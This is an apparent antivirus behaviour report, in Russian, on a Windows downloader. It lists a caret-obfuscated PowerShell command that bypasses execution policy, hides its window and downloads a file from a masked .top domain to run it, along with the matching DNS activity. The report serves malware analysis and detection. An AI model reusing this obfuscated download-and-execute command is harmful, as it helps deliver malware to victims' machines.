Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://ho####wergop.top/read.php?f=##### как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^o^W^eRSHElL.^e^X^e^ -^Ex^Ec^UTIoNPOL^iCy^ ^By^pAs^s^ ^-^no^p^rOF^I^le^ -w^in^D^ow^Style Hi^DD^E^n ^(nEw-^O^bjEc^T ^S^yst^e^M.NET.wE^bClI^Ent).^d^O^WNLO^aDfI^l^e('http://ho##...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^o^W^eRSHElL.^e^X^e^ -^Ex^Ec^UTIoNPOL^iCy^ ^By^pAs^s^ ^-^no^p^rOF^I^le^ -w^in^D^ow^Style Hi^DD^E^n ^(nEw-^O^bjEc^T ^S^yst^e^M.NET.wE^bClI^Ent).^d^O^WNLO^aDfI^l^e('http://ho##...' (со скрытым окном)
